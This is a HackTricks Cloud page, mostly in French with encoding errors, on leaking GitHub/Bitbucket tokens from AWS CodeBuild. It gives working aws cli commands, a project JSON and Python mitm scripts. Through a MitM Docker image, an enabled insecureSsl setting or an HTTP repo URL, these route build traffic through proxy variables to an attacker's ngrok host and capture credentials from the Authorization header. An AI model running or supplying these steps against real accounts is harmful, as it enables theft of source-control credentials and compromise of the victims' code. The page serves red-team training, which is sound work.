AWS Codebuild - Token Leakage
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Récupérer les Tokens configurés Github/Bitbucket
Dâabord, vĂ©rifiez sâil existe des credentials source configurĂ©s que vous pourriez leak :
aws codebuild list-source-credentials
Via Docker Image
If you find that authentication to for example Github is set in the account, you can exfiltrate that access (GH token or OAuth token) by making Codebuild to use an specific docker image to run the build of the project.
Pour cela vous pouvez crĂ©er un nouveau projet Codebuild ou modifier lâenvironnement dâun existant pour dĂ©finir lâimage Docker.
The Docker image you could use is https://github.com/carlospolop/docker-mitm. This is a very basic Docker image that will set the env variables https_proxy, http_proxy and SSL_CERT_FILE. This will allow you to intercept most of the traffic of the host indicated in https_proxy and http_proxy and trusting the SSL CERT indicated in SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Suivez les instructions du repo pour configurer lâadresse IP de votre proxy, installer votre certificat SSL et construire lâimage Docker.
- DO NOT SET
http_proxyafin de ne pas intercepter les requĂȘtes vers le metadata endpoint. - Vous pouvez utiliser
ngrokcommengrok tcp 4444pour dĂ©finir le proxy vers votre hĂŽte. - Une fois lâimage Docker construite, upload it to a public repo (Dockerhub, ECRâŠ)
- Set the environment
- CrĂ©ez un nouveau projet Codebuild ou modifiez lâenvironnement dâun projet existant.
- Configurez le projet pour utiliser lâimage Docker prĂ©cĂ©demment gĂ©nĂ©rĂ©e.
.png)
- Set the MitM proxy in your host
- Comme indiqué dans le Github repo vous pouvez utiliser quelque chose comme :
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
La version de mitmproxy utilisĂ©e Ă©tait 9.0.1, il a Ă©tĂ© signalĂ© quâavec la version 10 cela pourrait ne pas fonctionner.
- Exécuter le build & capturer les identifiants
- Vous pouvez voir le token dans lâen-tĂȘte Authorization :
.png)
Ceci peut aussi ĂȘtre fait depuis lâaws cli avec une commande du type :
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild projects have a setting called insecureSsl that is hidden in the web you can only change it from the API.
Lâactivation de ce paramĂštre permet Ă Codebuild de se connecter au dĂ©pĂŽt sans vĂ©rifier le certificat proposĂ© par la plateforme.
- Dâabord, vous devez Ă©numĂ©rer la configuration actuelle avec quelque chose comme :
aws codebuild batch-get-projects --name <proj-name>
- Ensuite, avec les informations recueillies, vous pouvez mettre Ă jour le paramĂštre du projet
insecureSslenTrue. Lâexemple ciâdessous montre la mise Ă jour dâun projet â remarquezinsecureSsl=TrueĂ la fin (câest la seule chose que vous devez modifier par rapport Ă la configuration rĂ©cupĂ©rĂ©e). - De plus, ajoutez Ă©galement les variables dâenvironnement http_proxy et https_proxy pointant vers votre tcp ngrok comme :
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Ensuite, exĂ©cutez lâexemple de base depuis https://github.com/synchronizing/mitm sur le port indiquĂ© par les variables proxy (http_proxy et https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Enfin, cliquez sur Build the project, les credentials seront envoyés en clair (base64) au port mitm :
 (1).png)
Via le protocole HTTP
[!TIP] > Cette vulnĂ©rabilitĂ© a Ă©tĂ© corrigĂ©e par AWS Ă un moment durant la semaine du 20 fĂ©vrier 2023 (je pense le vendredi). Donc un attaquant ne peut plus lâabuser :)
Un attaquant avec des permissions élevées sur un CodeBuild pourrait leak le Github/Bitbucket token configuré ou, si les permissions ont été configurées via OAuth, le temporary OAuth token utilisé pour accéder au code.
- Un attaquant pourrait ajouter les variables dâenvironnement http_proxy et https_proxy au projet CodeBuild pointant vers sa machine (par exemple
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Ensuite, changez lâURL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple :
http://github.com/carlospolop-forks/TestActions - Ensuite, lancez lâexemple basique de https://github.com/synchronizing/mitm sur le port indiquĂ© par les variables proxy (http_proxy et https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Ensuite, cliquez sur Build the project ou démarrez la build depuis la ligne de commande :
aws codebuild start-build --project-name <proj-name>
- Enfin, les identifiants seront envoyés en clair (base64) vers le port mitm:
.png)
Warning
DĂ©sormais, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilĂšges dont il dispose et en abuser plus facilement que sâil utilisait directement le service CodeBuild.
Untrusted PR execution via webhook filter misconfiguration
Pour la PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), consultez :
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

